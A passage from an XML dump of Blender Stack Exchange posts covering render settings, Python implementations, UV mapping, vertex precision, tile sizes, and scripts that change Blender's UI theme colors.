input&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Next add an output. 'Shift + A' Output &gt; Composite.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/x3eoP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You now should have something like this.&lt;img src=&quot;https://i.stack.imgur.com/1aRuO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Thats all the nodes you need. Next you will need to change the render settings.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Xjaw9.jpg&quot; alt=&quot;Render settings&quot;&gt;&#xA;You will need to change the render size to the size of your image. You can get this by in you file browser RMB on the file properties &gt; details. Change the output type to EXR (not multi-layer) and make sure that its set to 'float full' not 'float (half)' full is 32-bit half is 16-bit. Make you sure you know where you are saving the image. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Next hit render and wait for it to render. Should be pretty fast though.&lt;img src=&quot;https://i.stack.imgur.com/RP6Nf.jpg&quot; alt=&quot;final render output&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If that does not work you can you use &lt;a href=&quot;http://www.irfanview.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;irfanview&lt;/a&gt; to export the tiff into a different file format. Here is how. First open irfanview.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Then open your file you want to convert.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Choose 'File' &gt; 'Save As'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DkWLs.jpg&quot; alt=&quot;File &amp;gt; Save As&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Chose where you want to save it and the format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wLbcv.jpg&quot; alt=&quot;Save as tiff&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user320" LastEditorDisplayName="user320" LastEditDate="2013-10-04T11:49:19.013" LastActivityDate="2013-10-04T11:49:19.013" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="3158" PostTypeId="1" AcceptedAnswerId="3159" CreationDate="2013-10-03T13:27:27.650" Score="8" ViewCount="1772" Body="&lt;p&gt;I am aware that blender can use &lt;code&gt;.py&lt;/code&gt; scripts. But sometimes these execute fairly slow, compared to compiled code. There are several other Python implementations, which support some level of JIT compilation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://ironpython.net&quot; rel=&quot;nofollow&quot;&gt;IronPython:&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An open-source implementation of the Python programming language which is tightly integrated with the .NET Framework.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.jython.org&quot; rel=&quot;nofollow&quot;&gt;Jython:&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A Python implementation in the Java VM.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://pypy.org&quot; rel=&quot;nofollow&quot;&gt;PyPy:&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A fast, compliant alternative implementation of the Python language&#xA;  An advantage of PyPy is, Speed: thanks to its Just-in-Time &lt;em&gt;(JIT)&lt;/em&gt; compiler, Python programs often run faster on PyPy.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to make use of these optimizations as far as Blender is concerned?&lt;/p&gt;&#xA;" OwnerDisplayName="user320" LastEditorUserId="55" LastEditDate="2015-05-27T01:07:55.543" LastActivityDate="2016-05-10T10:32:04.303" Title="Does Blender support other Python implementations?" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3159" PostTypeId="2" ParentId="3158" CreationDate="2013-10-03T14:08:17.907" Score="11" Body="&lt;p&gt;Short answer, &lt;strong&gt;None&lt;/strong&gt; of the other implementations.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Blender isn't just using Python for scripting, it embeds the CPython interpreter using its C-API, something which other Python implimentations don't provide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: PyPy has made a start on the CPython API, it may one day be usable with Blender, currently its incomplete.&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the near future - its unlikely we will have a drop-in replacement for CPython such as IronPython, PyPy, ShedSkin, Cython... etc.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Alternatives&lt;/h2&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Import a faster environment&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;numpy&lt;/code&gt; is the best example of this, but there are other Python modules which you can speedup your scripts and comes bundled with Blender.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Embed a faster environment&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Embed a faster environment _in_ Python. eg:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://github.com/dabeaz/bitey&quot; rel=&quot;nofollow&quot;&gt;http://github.com/dabeaz/bitey&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.llvmpy.org&quot; rel=&quot;nofollow&quot;&gt;http://www.llvmpy.org&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://code.google.com/p/py2llvm&quot; rel=&quot;nofollow&quot;&gt;http://code.google.com/p/py2llvm&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://numba.pydata.org&quot; rel=&quot;nofollow&quot;&gt;http://numba.pydata.org&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://documen.tician.de/pyopencl&quot; rel=&quot;nofollow&quot;&gt;http://documen.tician.de/pyopencl&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://documen.tician.de/pycuda&quot; rel=&quot;nofollow&quot;&gt;http://documen.tician.de/pycuda&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;... there are probably others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main downside to this is your limited to primitive types (also known as &lt;code&gt;POD&lt;/code&gt;), (eg - bytes, ints, floats, doubles) - so you end up having to convert your data into structures both environments can handle, crunch numbers, then convert back and apply to your Blender data.&#xA;Depending on the task this may not be an issue, however it does limit what you can optimize.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Write in the C extension API&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;For lots of users this isnt an option and involves learning how to write extensions, in C/Python-API or in something like Cython, SWIG... etc. Listing here because in some cases a small part of the script can be ported to C/C++ for a large speedup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method has the potential to provide an API which executes very fast, the main downside is the time it takes to write such modules and having users install them (since they're compiled C/C++).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Call out to a faster environment&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You could execute code from any other language/environment as an external process and communicate with it via pipes/sockets (or even just process files and read them back), this may be too cumbersome both from a developer perspective and the effort users have to make to setup such an environment, but it _can_ be done and in some cases its worth the effort.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2016-05-10T10:32:04.303" LastActivityDate="2016-05-10T10:32:04.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3160" PostTypeId="2" ParentId="3158" CreationDate="2013-10-03T14:50:40.153" Score="1" Body="&lt;p&gt;Embed a faster environment -&gt; that seems to have a lot of potential!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;llvmpy might work together with &lt;a href=&quot;http://code.google.com/p/py2llvm/&quot; rel=&quot;nofollow&quot;&gt;py2llvm&lt;/a&gt;, the latter creates the LLVM IR, the former would load and execute it (not sure if it can load what the latter creates).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And there's Numba, which JIT-compiles python code to LLVM inline and executes the byte code (supporting NumPy, structs etc.):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://numba.pydata.org/numba-doc/dev/examples.html&quot; rel=&quot;nofollow&quot;&gt;http://numba.pydata.org/numba-doc/dev/examples.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Needs some thought on how to deliver the depencies I guess.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2013-10-03T18:54:24.117" LastActivityDate="2013-10-03T18:54:24.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3161" PostTypeId="2" ParentId="3156" CreationDate="2013-10-03T16:01:39.860" Score="4" Body="&lt;p&gt;If you distort the quad, the UV-map must be distorted the same way to keep the texture undistorted. I suspect you will not like this answer. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DMXk4.png&quot; alt=&quot;Undistorted quad&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UV is distorted same as quad.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/82j4m.png&quot; alt=&quot;Distorted quad and distorted UV&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Distort texture in image editor. Or bake from the subdivided mesh to the lowpoly.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/djDw8.png&quot; alt=&quot;Distorted texture&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2013-10-03T16:01:39.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3162" PostTypeId="1" CreationDate="2013-10-03T17:20:51.307" Score="1" ViewCount="59" Body="&lt;p&gt;I copied the properties from one object to multiple objects and then duplicated these objects with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;, now I want to convert them to single objects to modify specific ones.&lt;/p&gt;&#xA;" OwnerUserId="1358" LastEditorUserId="12" LastEditDate="2013-10-03T17:38:40.007" LastActivityDate="2013-10-03T17:38:40.007" Title="How can I make a duplicated object (Alt + D) a single object again?" Tags="&lt;objects&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2013-10-03T17:37:09.717" ContentLicense="CC BY-SA 3.0" />
  <row Id="3163" PostTypeId="1" CreationDate="2013-10-03T17:34:56.777" Score="8" ViewCount="7825" Body="&lt;p&gt;&lt;strong&gt;Problem:&lt;/strong&gt; I would like to render a 3D scan data (so no volume) containing only vertices (no faces or edges) with colour informations in cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tried so far:&lt;/strong&gt; I tried particles (spawning spheres on each vertices) but I couldn't get the sphere to have the colour of the vertex it spawned from and with lots of points it's takes a lot of memory.&#xA;I tried hairs, but it looks like they only get the right colour when there are faces, they stay black if the mesh only has sparse points (bug ?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Answers:&lt;/strong&gt;&#xA;I'm opened to all suggestions. Exact looking techniques are better, but if there are some holes in the rendering it's ok. So using the above-mentioned techniques if you know the right parameters to save memory and have colour information is ok.&#xA;It can be a version of that solution : &lt;a href=&quot;http://www.blensor.org/node/27&quot;&gt;http://www.blensor.org/node/27&lt;/a&gt; working in cycles.&#xA;Answers with GSoC Projects versions are ok (the OpenVDB or DingTo ones for example ?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To be met:&lt;/strong&gt;&#xA;I use a 20 000 000 point cloud data and I only have 8G memory, the solution must be memory-efficient. To give an Idea of how much can be used for so many points : the 3D scan program it comes from renders it using only 400M Memory.&lt;/p&gt;&#xA;" OwnerUserId="296" LastEditorUserId="296" LastEditDate="2013-10-04T08:25:50.967" LastActivityDate="2021-01-15T20:17:55.443" Title="Efficient way(s) to render point clouds of 3D scan datas in cycles" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;point-clouds&gt;" AnswerCount="2" CommentCount="7" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3164" PostTypeId="1" AcceptedAnswerId="3165" CreationDate="2013-10-03T17:38:14.017" Score="7" ViewCount="2063" Body="&lt;p&gt;I'm trying to change ui colors from within (blender's) console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll admit it's a peculiar idea (common sense suggest to import the &quot;xml&quot;) but I want to propose 3 or 4 &quot;color hacks&quot; for blender's default color theme, its the sort of change every pro would suggest at first moments notice (its not supposed to be a redesign or revamp).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how to rise to attention at &quot;blendernation&quot;? By posting an unreachable xml at &quot;blenderartists&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of downloading, saving, unwrapping and installing a file my &quot;color hack&quot; could simply be pasted into the console and previewed in a nondestructive manner (blender discard unsaved ui changes when it quits) -- ie it'll help my &quot;color hack&quot; to rise to attention of blender's Bartholomew.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Curious how the fixes look like, or what is it good for? Its all about the &quot;setting buttons&quot;, here the user can distinguish between a &quot;function&quot; and a &quot;setting&quot; button.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YIdYN.jpg&quot; alt=&quot;Quickfixes&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1393" LastEditorUserId="1393" LastEditDate="2013-10-03T18:02:15.993" LastActivityDate="2014-02-19T21:19:43.760" Title="How to change a ui color from within the console?" Tags="&lt;python&gt;&lt;theme&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3165" PostTypeId="2" ParentId="3164" CreationDate="2013-10-03T18:16:54.430" Score="3" Body="&lt;p&gt;Here's an example script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;ui = bpy.context.user_preferences.themes[0].user_interface&#xA;&#xA;#&amp;gt;&amp;gt;&amp;gt; C.user_preferences.themes[0].user_interface.wcol_radio.inner[:]&#xA;wcol_radio_inner = (0.275, 0.275, 0.275, 1.0)&#xA;&#xA;#&amp;gt;&amp;gt;&amp;gt; C.user_preferences.themes[0].user_interface.wcol_radio.inner_sel[:]&#xA;wcol_radio_inner_sel = (0.33, 0.5, 0.76, 1.0)&#xA;&#xA;#&amp;gt;&amp;gt;&amp;gt; C.user_preferences.themes[0].user_interface.wcol_radio.show_shaded&#xA;wcol_radio_show_shaded = True&#xA;&#xA;#&amp;gt;&amp;gt;&amp;gt; C.user_preferences.themes[0].user_interface.wcol_radio.shadetop&#xA;wcol_radio_shadetop = 15&#xA;&#xA;#&amp;gt;&amp;gt;&amp;gt; C.user_preferences.themes[0].user_interface.wcol_radio.shadedown&#xA;wcol_radio_shadedown = -15&#xA;&#xA;#&amp;gt;&amp;gt;&amp;gt; C.user_preferences.themes[0].user_interface.wcol_radio.text&#xA;wcol_radio_text = (1, 1, 1)&#xA;&#xA;&#xA;ui.wcol_regular.inner = wcol_radio_inner&#xA;ui.wcol_regular.inner_sel = wcol_radio_inner_sel&#xA;ui.wcol_regular.show_shaded = wcol_radio_show_shaded&#xA;ui.wcol_regular.shadetop = wcol_radio_shadetop&#xA;ui.wcol_regular.shadedown = wcol_radio_shadedown&#xA;ui.wcol_regular.text = wcol_radio_text&#xA;&#xA;ui.wcol_toggle.inner = wcol_radio_inner&#xA;ui.wcol_toggle.inner_sel = wcol_radio_inner_sel&#xA;ui.wcol_toggle.show_shaded = wcol_radio_show_shaded&#xA;ui.wcol_toggle.shadetop = wcol_radio_shadetop&#xA;ui.wcol_toggle.shadedown = wcol_radio_shadedown&#xA;ui.wcol_toggle.text = wcol_radio_text&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that you need to run this from the text editor, this wouldn't really work as addon - at the time of registration, we are not allowed to access the context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, with the above theme, the toggle buttons in the text editor sidebar for wrapping etc. look really odd.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the 2.69 testbuild 1, the transform manipulators in the View3D header appear like props:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o8URU.png&quot; alt=&quot;2.69 testbuild1 View3D Header&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it's odd that the enable/disable button draws not the same. For selection mode, it's arguable whether this should look like a property set, as it actually changes something (mesh selection, e.g. verts+edges selected, go to face mode, nothing selected).&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="55" LastEditDate="2013-10-04T00:45:25.923" LastActivityDate="2013-10-04T00:45:25.923" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3166" PostTypeId="1" AcceptedAnswerId="4845" CreationDate="2013-10-03T21:47:56.900" Score="5" ViewCount="899" Body="&lt;p&gt;I am looking for a way to capture just a portion of the screen in the game engine. I was using the built-in &lt;code&gt;render.makeScreenshot(path)&lt;/code&gt;, which only captures a full-screen PNG. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am exploring the following approach but have no idea how to save the list data into an image format. Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bgl import *&#xA;def captureCropped(posX, posY, sizeX, sizeY):&#xA;        buf = Buffer(GL_BYTE, [sizeX,sizeY,3])&#xA;        glReadPixels(posX,posY,sizeX,sizeY,GL_RGB,GL_BYTE,buf)&#xA;        ... #now what do I do with buf?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="41" LastActivityDate="2013-11-13T07:15:31.080" Title="Capture a partial screenshot in the BGE" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3167" PostTypeId="2" ParentId="3120" CreationDate="2013-10-03T22:10:24.940" Score="9" Body="&lt;p&gt;Think of the number of tiles as the number of parallel tasks that the computer splits the rendering into.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If the tile size is too big (too few tiles), then the CPU/GPU gets starved because there are more available computing power that's not being used.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the tile size is too small (too many tiles), then the overhead of switching tiles becomes a bottleneck. That's why 1x1 tile is not a good idea, even on a GPU with a gazillion cores.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The problem is CPU and GPU behave differently, a \$200 CPU might have 4 cores, but a \$200 GPU could have 100+ cores. So this is why optimal tile size for CPU and GPU are different.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In practice, I find that tile size of 100x100 to 200x200 works well in almost all cases. (I find no evidence that pow2 values perform better)&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="26640" LastEditDate="2018-02-22T00:15:47.413" LastActivityDate="2018-02-22T00:15:47.413" CommentCount="3" CommunityOwnedDate="2013-10-03T22:10:24.940" ContentLicense="CC BY-SA 3.0" />
  <row Id="3168" PostTypeId="1" AcceptedAnswerId="3169" CreationDate="2013-10-04T08:46:45.943" Score="10" ViewCount="2642" Body="&lt;p&gt;Vertices coordinates are float or double values ?&#xA;Is it possible to see them with full precision and not only with the limited precision of the text fields ?&#xA;Or better is it possible to see the bit representation ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ask this because I want to match 2 vertices without using the snap (for study purpose).&lt;/p&gt;&#xA;" OwnerDisplayName="user1395" LastEditorUserId="599" LastEditDate="2013-10-04T21:05:32.147" LastActivityDate="2015-08-23T05:12:20.797" Title="Digits of precision of vertices coordinates" Tags="&lt;interface&gt;&lt;units&gt;&lt;coordinates&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3169" PostTypeId="2" ParentId="3168" CreationDate="2013-10-04T10:58:26.710" Score="13" Body="&lt;p&gt;vertices are stored as 32bit floats (as with all other geometry storage in Blender).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no really good ways to see &lt;strong&gt;exact&lt;/strong&gt; floating point values of a vertex in the user interface, Your best option is to print the value in Python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This behavior is intentional, lots of common values like &lt;code&gt;0.1&lt;/code&gt; will end up displaying as &lt;code&gt;0.100000000002&lt;/code&gt;,&lt;br&gt;see: &lt;a href=&quot;https://stackoverflow.com/questions/13345334/strange-behaviour-with-floats-and-string-conversion&quot;&gt;https://stackoverflow.com/questions/13345334/strange-behaviour-with-floats-and-string-conversion&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For typical usage this isn't helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a workaround you could scale the object up 100.0x and then set 'Global' in the transform panel, so there is more floating point precision shown though this is not an ideal solution, it may be handy in a few cases.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;See also: &lt;a href=&quot;http://www.youtube.com/watch?v=PZRI1IfStY0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Video explaining floating point precision&lt;/a&gt; - gives some insights as to why this isn't as trivial as you might want/expect.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2015-08-23T05:12:20.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3170" PostTypeId="2" ParentId="3120" CreationDate="2013-10-04T11:26:36.320" Score="0" Body="&lt;p&gt;I also did some testing and this are my results. I only did the test for the CPU. Default scene 1920x1080&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;60x60    00:05.02&#xA;63x63    00:04.89&#xA;64x64    00:04.60&#xA;65x65    00:04.71&#xA;&#xA;100x100  00:02.60&#xA;127x127  00:01.99&#xA;128x128  00:01.96&#xA;129x129  00:01.97&#xA;&#xA;255x255  00:01.36&#xA;256x256  00:01.33&#xA;257x257  00:01.33&#xA;300x300  00:01.21&#xA;&#xA;500x500  00:01.19&#xA;511x511  00:01.13&#xA;512x512  00:01.00&#xA;512x513  00:01.01&#xA;&#xA;1000x1000 00:01.32&#xA;500x400   00:00.93&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user320" LastActivityDate="2013-10-04T11:26:36.320" CommentCount="3" CommunityOwnedDate="2013-10-04T11:26:36.320" ContentLicense="CC BY-SA 3.0" />
  <row Id="3171" PostTypeId="1" AcceptedAnswerId="3178" CreationDate="2013-10-04T13:28:33.137" Score="9" ViewCount="1473" Body="&lt;p&gt;I wonder what would be the best way of animating multiple 2 dimensional lines in blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets say I have lots of line, that are parallel and have some sort of rule, kind of like a PCB board with hundreds of circuits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The starting frame would be when nothing is visible and during the animation the lines would slowly build up from nothing all the way to the end forming the finished lines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a couple of ideas that might work, but all include heavy hand animation, like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;grease pencil animation, drawing them one by one, converting to curve, then build up modifier&lt;/li&gt;&#xA;&lt;li&gt;some dynamic paint hack&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There maybe other more efficient methods that I don't know of and if so, please let me know.&lt;/p&gt;&#xA;" OwnerUserId="1388" LastActivityDate="2013-10-05T10:23:02.113" Title="How to animate multiple lines" Tags="&lt;animation&gt;&lt;bezier-curves&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3172" PostTypeId="1" CreationDate="2013-10-04T14:14:37.987" Score="6" ViewCount="2960" Body="&lt;p&gt;In the outliner i have a local library called &quot;Current File&quot; and a linked library called &quot;//foo.blend&quot;. Is this the proper way to remove all unused group-datablock-links from the &quot;//foo.blend&quot;-library?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;groups = bpy.data.groups&#xA;for group in groups:&#xA;    if group.library and group.library.filepath == &quot;//foo.blend&quot;:&#xA;        if group.users == 1 and len(group.users_dupli_group) == 0: # EDIT&#xA;            group.user_clear()&#xA;            groups.remove(group)  # &amp;lt;- crash warning, don't use this part of the example.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1260" LastEditorUserId="2952" LastEditDate="2015-11-25T03:56:23.240" LastActivityDate="2016-01-27T02:05:36.417" Title="Proper way to remove unused linked Group data-blocks" Tags="&lt;python&gt;&lt;data-blocks&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3173" PostTypeId="1" AcceptedAnswerId="3175" CreationDate="2013-10-04T15:58:16.153" Score="9" ViewCount="3561" Body="&lt;p&gt;How can I make all the particles in a particle system face the camera?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xPfJR.jpg&quot; alt=&quot;Screenshot of particle system&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1358" LastEditorUserId="34114" LastEditDate="2016-12-31T18:05:04.167" LastActivityDate="2016-12-31T18:05:04.167" Title="Make Particles Point Towards the Camera?" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3174" PostTypeId="2" ParentId="3164" CreationDate="2013-10-04T17:41:43.533" Score="0" Body="&lt;p&gt;Is this CoDEmanX's snippet &quot;bpy.context.user_preferences.themes[0].user_interface&quot; put to work... or what I wanted to ask? I wont mind if my answer gets delete but this worked for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def scriptrunner():&#xA;    global gui&#xA;    global Bucket&#xA;    global Spray&#xA;    global getPresets&#xA;&#xA;    # swatch: Standard (unchanged) colors of blenders ui&#xA;    # alias: A batch of solid colors&#xA;    # snuff: Some tryout colors&#xA;    # &#xA;    swatch, solid, snuff = getPresets()&#xA;&#xA;    # Blenders standard widgets&#xA;    # &#xA;    print(dir(gui))&#xA;&#xA;    # Changes for the glowing &quot;Checkboxes&quot;&#xA;    # (&quot;unglow&quot; can be removed to keep the default)&#xA;    # &#xA;    unglow = Bucket()&#xA;    unglow.text = solid.black&#xA;    unglow.text_sel = solid.black&#xA;    unglow.apply(gui, 'wcol_option')&#xA;&#xA;    # Changes for the &quot;Slider widget&quot;&#xA;    # (&quot;brighten&quot; can be deleted to keep the default)&#xA;    # &#xA;    brighten = Bucket()&#xA;    brighten.inner = (0.600, 0.600, 0.600, 1.0)&#xA;    brighten.inner_sel = (0.580, 0.580, 0.580, 1.0)&#xA;    brighten.item = (0.671, 0.671, 0.671, 1.0)&#xA;    brighten.shadedown = 4&#xA;    brighten.shadetop = -24&#xA;    brighten.show_shaded = True&#xA;    brighten.apply(gui, 'wcol_numslider')&#xA;&#xA;    # Changes for the commands aka &quot;Tool widget&quot;&#xA;    # &#xA;    defocus = Bucket()&#xA;    defocus.outline = (0.404, 0.404, 0.404)&#xA;    defocus.inner = (0.518, 0.518, 0.518, 1.0)&#xA;    defocus.inner_sel = (0.392, 0.392, 0.392, 1.0)&#xA;    defocus.item = (0.098, 0.098, 0.098, 1.0)&#xA;    defocus.shadedown = -5&#xA;    defocus.shadetop = 10&#xA;    defocus.show_shaded = True&#xA;    defocus.apply(gui, 'wcol_tool')&#xA;&#xA;    # Over paints the &quot;Frames of sadness&quot;&#xA;    # &#xA;    allUnframed = Spray([&#xA;        'wcol_num', &#xA;        'wcol_numslider', &#xA;        'wcol_text', ])&#xA;&#xA;    for i, q in allUnframed:&#xA;        allUnframed[i].outline = (0.380, 0.380, 0.380)&#xA;        allUnframed[i].apply(gui, q)&#xA;&#xA;    # It'll &quot;bind&quot; the colors of the &quot;Toggle buttons&quot;&#xA;    # &#xA;    allBindings = Spray([&#xA;        'wcol_menu', &#xA;        'wcol_option', &#xA;        'wcol_radio', &#xA;        'wcol_regular', &#xA;        'wcol_toggle', ])&#xA;&#xA;    for i, q in allBindings:&#xA;        allBindings[i].inner = swatch.charcoal&#xA;        allBindings[i].inner_sel = swatch.skyblue&#xA;        allBindings[i].apply(gui, q)&#xA;&#xA;    # Additional tweaks to the previous &quot;Toggle buttons&quot;&#xA;    # &#xA;    allUnframed = Spray([&#xA;        'wcol_menu', &#xA;        'wcol_option', &#xA;        